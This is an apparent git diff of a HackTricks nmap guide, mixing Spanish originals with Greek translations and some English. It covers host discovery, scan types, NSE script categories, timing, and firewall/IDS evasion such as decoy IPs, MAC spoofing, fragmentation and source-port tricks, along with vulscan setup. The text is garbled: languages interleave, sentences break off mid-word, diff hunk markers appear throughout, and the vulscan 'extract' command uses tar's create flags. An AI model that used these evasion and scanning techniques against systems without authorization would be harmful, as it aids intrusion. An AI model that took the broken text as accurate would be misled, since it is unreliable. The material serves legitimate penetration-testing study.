* **`-Pn`**: **Χωρίς ping**. Αυτό είναι χρήσιμο αν γνωρίζετε ότι όλες είναι ενεργές (αλλιώς μπορείτε να χάσετε πολύ χρόνο, αλλά αυτή η επιλογή παράγει επίσης ψευδείς αρνητικά λέγοντας ότι δεν είναι ενεργές), αποτρέπει τη φάση ανακάλυψης.
|
||||
* **`-sn`** : **Χωρίς σάρωση θυρών**. Αφού ολοκληρωθεί η φάση αναγνώρισης, δεν γίνεται σάρωση θυρών. Είναι σχετικά αόρατο και επιτρέπει μια μικρή σάρωση δικτύου. Με προνόμια, στέλνει ένα ACK (-PA) στη θύρα 80, ένα SYN(-PS) στη θύρα 443 και ένα αίτημα echo και ένα αίτημα Timestamp, χωρίς προνόμια ολοκληρώνει πάντα τις συνδέσεις. Αν ο στόχος είναι το δίκτυο, χρησιμοποιεί μόνο ARP(-PR). Αν χρησιμοποιηθεί με μια άλλη επιλογή, μόνο τα πακέτα της άλλης επιλογής απορρίπτονται.
|
||||
* **`-PR`**: **Ping ARP**. Χρησιμοποιείται από προεπιλογή κατά την ανάλυση υπολογιστών στο δίκτυό μας, είναι πιο γρήγορο από τη χρήση pings. Αν δεν θέλετε να χρησιμοποιήσετε πακέτα ARP, χρησιμοποιήστε `--send-ip`.
|
||||
* **`-PS <ports>`**: Στέλνει πακέτα SYN σε θύρες, αν απαντήσει με SYN/ACK είναι ανοιχτή (απαντά με RST για να μην τερματίσει τη σύνδεση), αν απαντήσει με RST είναι κλειστή και αν δεν απαντήσει είναι μη προσβάσιμη. Σε περίπτωση έλλειψης προνομίων, χρησιμοποιείται αυτόματα μια ολοκληρωμένη σύνδεση. Αν δεν δοθούν θύρες, το στέλνει στη θύρα 80.
|
||||
* **`-PA <ports>`**: Όπως το προηγούμενο αλλά με ACK, η συνδυασμένη χρήση και των δύο δίνει καλύτερα αποτελέσματα.
|
||||
* **`-PU <ports>`**: Ο στόχος είναι το αντίθετο, στέλνονται σε θύρες που αναμένεται να είναι κλειστές. Ορισμένα τείχη προστασίας ελέγχουν μόνο τις συνδέσεις TCP. Αν είναι κλειστή, απαντά με port unreachable, αν απαντά με άλλο icmp ή δεν απαντά, θεωρείται ότι είναι μη προσβάσιμη.
|
||||
* **`-PE, -PP, -PM`** : ICMP PINGS: απάντηση echo, timestamp και addresmask. Αποστέλλονται για να διαπιστωθεί αν ο στόχος είναι ενεργός.
|
||||
* **`-PY<ports>`**: Αποστέλλει προβολές SCTP INIT στη θύρα 80 από προεπιλογή, μπορεί να απαντήσε
|
||||
**--osscan-guess** Όταν η ανίχνευση του λειτουργικού συστήματος δεν είναι τέλεια, αυτή η επιλογή τον αναγκάζει να προσπαθήσει περισσότερο.
|
||||
|
||||
* **`-sL`**: It is not invasive, it lists the targets making **DNS** requests to resolve names. It is useful to know if for example www.prueba.es/24 all Ips are our targets.
|
||||
* **`-Pn`**: **No ping**. This is useful if you know that all of them are active (if not, you could lose a lot of time, but this option also produces false negatives saying that they are not active), it prevents the discovery phase.
|
||||
* **`-sn`** : **No port scan**. After completing the reconnaissance phase, it does not scan ports. It is relatively stealthy, and allows a small network scan. With privileges it sends an ACK (-PA) to 80, a SYN(-PS) to 443 and an echo request and a Timestamp request, without privileges it always completes connections. If the target is the network, it only uses ARP(-PR). If used with another option, only the packets of the other option are dropped.
|
||||
* **`-PR`**: **Ping ARP**. It is used by default when analyzing computers in our network, it is faster than using pings. If you do not want to use ARP packets use `--send-ip`.
|
||||
* **`-PS <ports>`**: It sends SYN packets to which if it answers SYN/ACK it is open (to which it answers with RST so as not to end the connection), if it answers RST it is closed and if it does not answer it is unreachable. In case of not having privileges, a total connection is automatically used. If no ports are given, it throws it to 80.
|
||||
* **`-PA <ports>`**: Like the previous one but with ACK, combining both of them gives better results.
|
||||
* **`-PU <ports>`**: The objective is the opposite, they are sent to ports that are expected to be closed. Some firewalls only check TCP connections. If it is closed it is answered with port unreachable, if it is answered with another icmp or not answered it is left as destination unreachable.
|
||||
* **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp and addresmask. They are launched to find out if the target is active.
|
||||
* **`-PY<ports>`**: Sends SCTP INIT probes to 80 by default, INIT-ACK(open) or ABORT(closed) or nothing or ICMP unreachable(inactive) can be replied.
|
||||
* **`-PO <protocols>`**: A protocol is indicated in the headers, by default 1(ICMP), 2(IGMP) and 4(Encap IP). For ICMP, IGMP, TCP (6) and UDP (17) protocols the protocol headers are sent, for the rest only the IP header is sent. The purpose of this is that due to the malformation of the headers, Protocol unreachable or responses of the same protocol are answered to know if it is up.
|
||||
* **`-n`**: No DNS
|
||||
* **`-R`**: DNS always
|
||||
**Σενάρια**
|
||||
|
||||
### Port scanning techniques
|
||||
\--script _\<όνομα αρχείου>_|_\<κατηγορία>_|_\<φάκελος>_|_\<έκφραση>_\[,...]
|
||||
|
||||
* **`-sS`**: Does not complete the connection so it leaves no trace, very good if it can be used.(privileges) It is the one used by default.
|
||||
* **`-sT`**: Completes the connection, so it does leave a trace, but it can be used for sure. By default without privileges.
|
||||
* **`-sU`**: Slower, for UDP. Mostly: DNS(53), SNMP(161,162), DHCP(67 and 68), (-sU53,161,162,67,68): open(reply), closed(port unreachable), filtered (another ICMP), open/filtered (nothing). In case of open/filtered, -sV sends numerous requests to detect any of the versions that nmap supports and can detect the true state. It increases a lot the time.
|
||||
* **`-sY`**: SCTP protocol fails to establish the connection, so there are no logs, works like -PY
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, they can penetrate some firewalls and extract information. They are based on the fact that standard compliant machines should respond with RST all requests that do not have SYN, RST or ACK lags raised: open/filtered(nothing), closed(RST), filtered (ICMP unreachable). Unreliable on WIndows, CIsco, BSDI and OS/400. On unix yes.
|
||||
* **`-sM`**: Maimon scan: Sends FIN and ACK flags, used for BSD, currently will return all as closed.
|
||||
* **`-sA, sW`**: ACK and Window, is used to detect firewalls, to know if the ports are filtered or not. The -sW does distinguish between open/closed since the open ones respond with a different window value: open (RST with window other than 0), closed (RST window = 0), filtered (ICMP unreachable or nothing). Not all computers work this way, so if it is all closed, it is not working, if it is a few open, it is working fine, and if it is many open and few closed, it is working the other way around.
|
||||
* **`-sI`:** Idle scan. For the cases in which there is an active firewall but we know that it does not filter to a certain Ip (or when we simply want anonymity) we can use the zombie scanner (it works for all the ports), to look for possible zombies we can use the scrpit ipidseq or the exploit auxiliary/scanner/ip/ipidseq. This scanner is based on the IPID number of the IP packets.
|
||||
* **`--badsum`:** It sends the sum wrong, the computers would discard the packets, but the firewalls could answer something, it is used to detect firewalls.
|
||||
* **`-sZ`:** "Weird" SCTP scanner, when sending probes with cookie echo fragments they should be dropped if open or responded with ABORT if closed. It can pass through firewalls that init does not pass through, the bad thing is that it does not distinguish between filtered and open.
|
||||
* **`-sO`:** Protocol Ip scan. Sends bad and empty headers in which sometimes not even the protocol can be distinguished. If ICMP unreachable protocol arrives it is closed, if unreachable port arrives it is open, if another error arrives, filtered, if nothing arrives, open|filtered.
|
||||
* **`-b <server>`:** FTPhost--> It is used to scan a host from another one, this is done by connecting the ftp of another machine and asking it to send files to the ports that you want to scan from another machine, according to the answers we will know if they are open or not. \[\<user>:\<password>@]\<server>\[:\<port>] Almost all ftps servers no longer let you do this and therefore it is of little practical use.
|
||||
Για να χρησιμοποιήσετε τα προεπιλεγμένα, αρκεί να χρησιμοποιήσετε -sC ή --script=default
|
||||
|
||||
### **Centrar análisis**
|
||||
Οι διαθέσιμες κατηγορίες είναι: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, και vuln
|
||||
|
||||
**-p:** Sirve para dar los puertos a escanear. Para seleccionar los 65335: **-p-** o **-p all**. Nmap tiene una clasificaación interna según su popularidad. Por defecto usa los 1000 ppales. Con **-F** (fast scan) analiza los 100 ppales. Con **--top-ports \<numero>** Analiza ese numero de ppales (de 1 hasta los 65335). Comprueba los puertos en orden aleatorio, para que eso no pase **-r**. También podemos seleccionar puertos: 20-30,80,443,1024- Esto ultimo significa que mire en adelante del 1024. También podemos agrupar los puertos por protocolos: U:53,T:21-25,80,139,S:9. También podemos escoger un rango dentro de los puertos populares de nmap: -p \[-1024] analiza hasta el 1024 de los incluidos en nmap-services. **--port-ratio \<ratio>** Analiza los puertos más comúnes que un ratio que debe estar entre 0 y 1
|
||||
* **Auth:** εκτελεί όλα τα διαθέσιμα σενάρια για πιστοποίηση
|
||||
* **Default:** εκτελεί τα προεπιλεγμένα βασικά σενάρια του εργαλείου
|
||||
* **Discovery:** ανακτά πληροφορίες για τον στόχο ή το θύμα
|
||||
* **External:** σενάριο για τη χρήση εξωτερικών πόρων
|
||||
* **Intrusive:** χρησιμοποιεί σενάρια που θεωρούνται επιθετικά για το θύμα ή τον στόχο
|
||||
* **Malware:** ελέγχει αν υπάρχουν ανοιχτές συνδέσεις από κακόβουλο κώδικα ή πίσω πόρτες
|
||||
* **Safe:** εκτελεί μη επιθετικά σενάρια
|
||||
* **Vuln:** ανακαλύπτει τις πιο γνωστές ευπάθειες
|
||||
* **All:** εκτελεί όλα τα διαθέσιμα σενάρια NSE
|
||||
|
||||
**-sV** Escaneado de versión, se puede regular la intensidad de 0 a 9, por defecto 7.
|
||||
Για την αναζήτηση σεναρίων:
|
||||
|
||||
**--version-intensity \<numero>** Regulamos la intensidad, de forma que cuanto más bajo solo lanzará las sondas más probables, pero no todas. Con esto podemos acortar considerablemente el tiempo de escaneo UDP
|
||||
**nmap --script-help="http-\*" -> Αυτά που ξεκινούν με http-**
|
||||
|
||||
**-O** Deteccion de os
|
||||
**nmap --script-help="not intrusive" -> Όλα εκτός από αυτά**
|
||||
|
||||
**--osscan-limit** Para escanear bien un host se necesita que al menos haya 1 puerto abierto y otro cerrado, si no se da esta condición y hemos puesto esto, no intenta hacer predicción de os (ahorra tiempo)
|
||||
**nmap --script-help="default or safe" -> Αυτά που είναι στο ένα ή στο άλλο ή και στα δύο**
|
||||
|
||||
**--osscan-guess** Cuando la detección de os no es perfecta esto hace que se esfuerce más
|
||||
|
||||
**Scripts**
|
||||
|
||||
\--script _\<filename>_|_\<category>_|_\<directory>_|_\<expression>_\[,...]
|
||||
|
||||
Para usar los de por efecto vale con -sC o --script=default
|
||||
|
||||
Los tipos que hay son de: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln
|
||||
|
||||
* **Auth:** ejecuta todos sus _scripts_ disponibles para autenticación
|
||||
* **Default:** ejecuta los _scripts_ básicos por defecto de la herramienta
|
||||
* **Discovery:** recupera información del _target_ o víctima
|
||||
* **External:** _script_ para utilizar recursos externos
|
||||
* **Intrusive:** utiliza _scripts_ que son considerados intrusivos para la víctima o _target_
|
||||
* **Malware:** revisa si hay conexiones abiertas por códigos maliciosos o _backdoors_ (puertas traseras)
|
||||
* **Safe:** ejecuta _scripts_ que no son intrusivos
|
||||
* **Vuln:** descubre las vulnerabilidades más conocidas
|
||||
* **All:** ejecuta absolutamente todos los _scripts_ con extensión NSE disponibles
|
||||
|
||||
Para buscar scripts:
|
||||
|
||||
**nmap --script-help="http-\*" -> Los que empiecen por http-**
|
||||
|
||||
**nmap --script-help="not intrusive" -> Todos menos esos**
|
||||
|
||||
**nmap --script-help="default or safe" -> Los que estan en uno o en otro o en ambos**
|
||||
|
||||
**nmap --script-help="default and safe" --> Los que estan en ambos**
|
||||
**nmap --script-help="default and safe" --> Αυτά που είναι και στα δύο**
|
||||
|
||||
**nmap --script-help="(default or safe or intrusive) and not http-\*"**
|
||||
|
||||
\--script-args _\<n1>_=_\<v1>_,_\<n2>_={_\<n3>_=_\<v3>_},_\<n4>_={_\<v4>_,_\<v5>_}
|
||||
|
||||
\--script-args-file _\<filename>_
|
||||
\--script-args-file _\<όνομα αρχείου>_
|
||||
|
||||
\--script-help _\<filename>_|_\<category>_|_\<directory>_|_\<expression>_|all\[,...]
|
||||
\--script-help _\<όνομα αρχείου>_|_\<κατηγορία>_|_\<φάκελος>_|_\<έκφραση>_|all\[,...]
|
||||
|
||||
\--script-trace ---> Da info de como va elscript
|
||||
\--script-trace ---> Παρέχει πληροφορίες για την πρόοδο του σεναρίου
|
||||
|
||||
\--script-updatedb
|
||||
|
||||
**Para usar un script solo hay que poner: namp --script Nombre\_del\_script objetivo** --> Al poner el script se ejecutará tanto el script como el escaner, asi que tambien se pueden poner opciones del escaner, podemos añadir **“safe=1”** para que se ejecuten solo los que sean seguros.
|
||||
Για να χρησιμοποιήσετε ένα σενάριο, απλά πρέπει να πληκτρολογήσετε: nmap --script Όνομα\_Σεναρίου στόχος --> Με την προσθήκη του σεναρίου, θα εκτελεστεί τόσο το σενάριο όσο και ο σαρωτής, οπότε μπορούν επίσης να προστεθούν επιλογές του σαρωτή, μπορούμε να προσθέσουμε το "safe=1" για να εκτελεστούν μόνο τα ασφαλή.
|
||||
|
||||
**Control tiempo**
|
||||
Έλεγχος χρόνου
|
||||
|
||||
**Nmap puede modificar el tiempo en segundos, minutos, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing.
|
||||
Το Nmap μπορεί να τροποποιήσει τον χρόνο σε δευτερόλεπτα, λεπτά, ms: --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing.
|
||||
|
||||
Nmap divide el numero total de host a escanear en grupos y analiza esos grupos en bloques de forma que hasta que no han sido analizados todos, no pasa al siguiente bloque (y el usuario tampoco recibe ninguna actualización hasta que se haya analizado el bloque) de esta forma, es más óptimo para nmap usar grupos grandes. Por defecto en clase C usa 256.
|
||||
Το Nmap διαιρεί τον συνολικό αριθμό των στόχων που θα σαρώσει σε ομάδες και αναλύει αυτές τις ομάδες σε μπλοκ, έτσι ώστε μέχρι να ολοκληρωθεί η ανάλυση όλων των ομάδων, δεν προχωρά στην επόμενη ομάδα (και ο χρήστης δεν λαμβάνει καμία ενημέρωση μέχρι να ολοκληρωθεί η ανάλυση της ομάδας). Με αυτόν τον τρόπο, είναι πιο αποδοτικό για το Nmap να χρησιμοποιεί μεγάλες ομάδες. Από προεπιλογή, χρησιμοποιεί 256 για την κλάση C.
|
||||
|
||||
Se puede cambiar con\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Adjust parallel scan group sizes)
|
||||
Μπορείτε να το αλλάξετε με το\*\*--min-hostgroup\*\* _**\<αριθμός στόχων>**_**;** **--max-hostgroup** _**\<αριθμός στόχων>**_ (Προσαρμογή των μεγεθών παράλληλης σάρωσης ομάδας)
|
||||
|
||||
Se puede controlar el numero de escaners en paralelo pero es mejor que no (nmpa ya incorpora control automatico en base al estado de la red): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
Μπο
|
||||
**--proxies** _**\<Λίστα με διευθύνσεις URL των proxy χωρισμένες με κόμμα>**_ Για να χρησιμοποιήσετε proxy, μερικές φορές ένα proxy δεν διατηρεί τόσες ανοιχτές συνδέσεις όσες θέλει το nmap, γι 'αυτό θα πρέπει να τροποποιήσετε την παραλληλία: --max-parallelism
|
||||
|
||||
Podemos modificar el rtt timeout, pero no suele ser necesario: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
**-sP** Για να ανακαλύψετε τους οικοδεσπότες στο δίκτυο στο οποίο βρίσκεστε μέσω ARP
|
||||
|
||||
Podemos modificar el numero de intentos:**--max-retries** _**\<numtries>**_
|
||||
Πολλοί διαχειριστές δημιουργούν έναν κανόνα στο τείχος προστασίας που επιτρέπει την πέραση όλων των πακέτων που προέρχονται από ένα συγκεκριμένο θύρα (όπως οι θύρες 20, 53 και 67), μπορούμε να πούμε στο nmap να στείλει τα πακέτα μας από αυτές τις θύρες: **nmap --source-port 53 Ip**
|
||||
|
||||
Podemos modificar el tiempo de escaneado de un host: **--host-timeout** _**\<time>**_
|
||||
**Έξοδοι**
|
||||
|
||||
Podemos modificar el tiempo entre cada prueba para que vaya despacio: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
**-oN αρχείο** Κανονική έξοδος
|
||||
|
||||
Podemos modificar el numero de paquetes por segundo: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||
**-oX αρχείο** Έξοδος XML
|
||||
|
||||
Muchos puertos tardan mucho en responder al estar filtrados o cerrados, si solo nos interesan los abiertos, podemos ir más rápido con: **--defeat-rst-ratelimit**
|
||||
**-oS αρχείο** Έξοδος για script kidies
|
||||
|
||||
Para definir lo agresivo que queremos que sea nmap: -T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
**-oG αρχείο** Έξοδος που μπορεί να αναζητηθεί με grep
|
||||
|
||||
\-T (0-1)
|
||||
**-oA αρχείο** Όλα εκτός από -oS
|
||||
|
||||
\-T0 --> Solo se escanea 1 puerto a la vez y se espera 5min hasta el siguiente
|
||||
**-v επίπεδο** Επίπεδο λεπτομερειών
|
||||
|
||||
\-T1 y T2 --> Muy parecidos pero solo esperan 15 y 0,4seg respectivamente enttre cada prueba
|
||||
**-d επίπεδο** Επίπεδο αποσφαλμάτωσης
|
||||
|
||||
\-T3 --> Funcionamiento por defecto, incluye en paralelo
|
||||
**--reason** Αιτία του οικοδεσπότη και κατάσταση
|
||||
|
||||
\-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms
|
||||
**--stats-every χρόνος** Κάθε χρόνο μας λέει πώς πάει
|
||||
|
||||
\-T5 --> --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --max-scan-delay 5ms
|
||||
**--packet-trace** Για να δούμε ποια πακέτα αποστέλλονται, μπορούν να καθοριστούν φίλτρα όπως: --version-trace ή --script-trace
|
||||
|
||||
**Firewall/IDS**
|
||||
**--open** εμφανίζει τα ανοιχτά, ανοιχτά|φιλτραρισμένα και τα μη φιλτραρισμένα
|
||||
|
||||
No dejan pasar a puertos y analizan paquetes.
|
||||
**--resume αρχείο** Παράγει ένα σύνοψη
|
||||
|
||||
**-f** Para fragmentar paquetes, por defecto los fragmenta en 8bytes después de la cabecera, para especificar ese tamaño usamos ..mtu (con esto, no usar -f), el offset debe ser multiplo de 8. **Escaners de version y scripts no soportan la fragmentacion**
|
||||
**Διάφορα**
|
||||
|
||||
**-D decoy1,decoy2,ME** Nmap envia escaneres pero con otras direcciones IPs como origen, de esta forma te esconden a ti. Si pones el ME en la lista, nmap te situara ahi, mejor poner 5 o 6 antes de ti para que te enmascaren completamente. Se pueden generar iPs aleatorias con RND:\<numero> Para generar \<numero> de Ips aleatorias. No funcionan con detector de versiones sin conexion de TCP. Si estas dentro de una red, te interesa usar Ips que esten activas, pues sino será muy facil averiguar que tu eres la unica activa.
|
||||
**-6** Επιτρέπει το ipv6
|
||||
|
||||
Para usar Ips aleatorias: nmap-D RND: 10 Ip\_objetivo
|
||||
**-A** Είναι το ίδιο με -O -sV -sC --traceroute
|
||||
|
||||
**-S IP** Para cuando Nmap no pilla tu dirección Ip se la tienes que dar con eso. También sirve para hacer pensar que hay otro objetivo escaneandoles.
|
||||
**Χρόνος εκτέλεσης**
|
||||
|
||||
**-e \<interface>** Para elegir la interfaz
|
||||
Κατά τη διάρκεια της εκτέλεσης του nmap μπορούμε να αλλάξουμε τις επιλογές:
|
||||
|
||||
Muchos administradores dejan puertos de entrada abiertos para que todo funcione correctamente y les es más fácil que buscar otra solución. Estos pueden ser los puertos DNS o los de FTP... para busca esta vulnerabilidad nmap incorpora: **--source-port** _**\<portnumber>**_**;-g** _**\<portnumber>**_ _Son equivalentes_
|
||||
v / V Αύξηση / μείωση του επιπέδου λεπτομερειών
|
||||
|
||||
**--data** _**\<hex string>**_ Para enviar texto hexadecimal: --data 0xdeadbeef and --data \xCA\xFE\x09
|
||||
d / D Αύξηση / μείωση του επιπέδου αποσφαλμάτωσης
|
||||
|
||||
**--data-string** _**\<string>**_ Para enviar un texto normal: --data-string "Scan conducted by Security Ops, extension 7192"
|
||||
p / P Ενεργοποίηση / απενεργοποίηση της ανίχνευσης πακέτων
|
||||
|
||||
**--data-length** _**\<number>**_ Nmap envía solo cabeceras, con esto logramos que añada a estar un numero de bytes mas (que se generaran aleatoriamente)
|
||||
|
||||
Para configurar el paquete IP completamente usar **--ip-options**
|
||||
|
||||
If you wish to see the options in packets sent and received, specify --packet-trace. For more information and examples of using IP options with Nmap, see [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52).
|
||||
|
||||
**--ttl** _**\<value>**_
|
||||
|
||||
**--randomize-hosts** Para que el ataque sea menos obvio
|
||||
|
||||
**--spoof-mac** _**\<MAC address, prefix, or vendor name>**_ Para cambiar la mac ejemplos: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco
|
||||
|
||||
**--proxies** _**\<Comma-separated list of proxy URLs>**_ Para usar proxies, a veces un proxy no mantiene tantas conexiones abiertas como nmap quiere por lo que habria que modificar el paralelismo: --max-parallelism
|
||||
|
||||
**-sP** Para descubrir host en la red en la que estamos por ARP
|
||||
|
||||
Muchos administradores crean una regla en el firewall que permite pasar todos los paquetes que provienen de un puerto en particular (como el 20,53 y 67), podemos decire a nmap que mande nuestros paquetes desde esos puertos: **nmap --source-port 53 Ip**
|
||||
|
||||
**Salidas**
|
||||
|
||||
**-oN file** Salida normal
|
||||
|
||||
**-oX file** Salida XML
|
||||
|
||||
**-oS file** Salida de script kidies
|
||||
|
||||
**-oG file** Salida grepable
|
||||
|
||||
**-oA file** Todos menos -oS
|
||||
|
||||
**-v level** verbosity
|
||||
|
||||
**-d level** debugin
|
||||
|
||||
**--reason** Porqué del host y estado
|
||||
|
||||
**--stats-every time** Cada ese tiempo nos dice como va
|
||||
|
||||
**--packet-trace** Para ver que paquetes salen se pueden especificar filtros como: --version-trace o --script-trace
|
||||
|
||||
**--open** muestra los abiertos, abiertos|filtrados y los no filtrados
|
||||
|
||||
**--resume file** Saca un resumen
|
||||
|
||||
**Miscelanea**
|
||||
|
||||
**-6** Permite ipv6
|
||||
|
||||
**-A** es lo mismo que -O -sV -sC --traceroute
|
||||
|
||||
**Run time**
|
||||
|
||||
Mientras corre nmap podemos cambiar opciones:
|
||||
|
||||
v / V Increase / decrease the verbosity level
|
||||
|
||||
d / D Increase / decrease the debugging Level
|
||||
|
||||
p / P Turn on / off packet tracing
|
||||
|
||||
? Print a runtime interaction help screen
|
||||
? Εκτύπωση οθόνης βοήθειας αλληλεπίδρασης κατά τη διάρκεια της εκτέλεσης
|
||||
|
||||
**Vulscan**
|
||||
|
||||
Script de nmap que mira las versiones de los servicios obtenidos en una base de datos offline (que descarga de otras muy importantes) y devuelve las posibles vulnerabilidades
|
||||
Ένα script του nmap που ελέγχει τις εκδόσεις των υπηρεσιών που ανιχνεύονται σε μια offline βάση δεδομένων (που λαμβάνει από πολύ σημαντικές άλλες) και επιστρέφει τυχόν ευπάθειες
|
||||
|
||||
Las BD que usa son:
|
||||
Οι βάσεις δεδομένων που χρησιμοποιεί είναι:
|
||||
|
||||
1. Scipvuldb.csv | [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
|
||||
2. Cve.csv | [http://cve.mitre.org](http://cve.mitre.org/)
|
||||
|
@ -247,36 +155,22 @@ Las BD que usa son:
|
|||
7. Exploitdb.csv | [http://www.exploit-db.com](http://www.exploit-db.com/)
|
||||
8. Openvas.csv | [http://www.openvas.org](http://www.openvas.org/)
|
||||
|
||||
Para descargarlo e instalarlo en la carpeta de Nmap:
|
||||
Για να το κατεβάσετε και να το εγκαταστήσετε στον φάκελο του Nmap:
|
||||
|
||||
wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/
|
||||
|
||||
También habría que descargar los paquetes de las BD y añadirlos a /usr/share/nmap/scripts/vulscan/
|
||||
Θα πρέπει επίσης να κατεβάσετε τα πακέτα των βάσεων δεδομένων και να τα προσθέσετε στο /usr/share/nmap/scripts/vulscan/
|
||||
|
||||
Uso:
|
||||
Χρήση:
|
||||
|
||||
Para usar todos: sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR
|
||||
Για να χρησιμοποιήσετε όλα: sudo nmap -sV --script=vulscan HOST\_TO\_SCAN
|
||||
|
||||
Para usar una BD específica: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR
|
||||
Για να χρησιμοποιήσετε μια συγκεκριμένη βάση δεδομένων: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_TO\_SCAN
|
||||
|
||||
## Speed Up Nmap Service scan x16
|
||||
## Επιτάχυνση της ανάλυσης υπηρεσιών του Nmap x16
|
||||
|
||||
According [**to this post**](https://joshua.hu/nmap-speedup-service-scanning-16x) you can speed up the nmap service analysis by modifying all the **`totalwaitms`** values in **`/usr/share/nmap/nmap-service-probes`** to **300** and **`tcpwrappedms`** to **200**.
|
||||
Σύμφωνα με [**αυτήν την ανάρτηση**](https://joshua.hu/nmap-speedup-service-scanning-16x) μπορείτε να επιταχύνετε την ανάλυση υπηρεσιών του nmap τροποποιώντας όλες τις τιμές **`totalwaitms`** στο **300** και την τιμή **`tcpwrappedms`** σε **200** στο αρχείο **`/usr/share/nmap/nmap-service-probes`**.
|
||||
|
||||
Moreover, probes which do not have a specifically defined **`servicewaitms`** use a default value of **`5000`**. Therefore, we can either add values to each of the probes, or we can **compile nmap** ourselves and change the default value in [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
|
||||
Επιπλέον, οι αιτήσεις που δεν έχουν καθορισμένη τιμή **`servicewaitms`** χρησιμοποιούν μια προεπιλεγμένη τιμή **`5000`**. Επομένως, μπορούμε είτε να προσθέσουμε τιμές σε κάθε μια από τις αιτήσεις, είτε να **μεταγλωττίσουμε το nmap** μόνοι μας και να αλλάξουμε την προεπιλεγμένη τιμή στο αρχείο [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
|
||||
|
||||
If you don't want to change the values of **`totalwaitms`** and **`tcpwrappedms`** at all in the `/usr/share/nmap/nmap-service-probes` file, you can edit the [parsing code](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) such that these values in the `nmap-service-probes` file are completely ignored.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
Εάν δεν θέλετε να α
|
||||
|
|
|
@ -1,47 +1,44 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
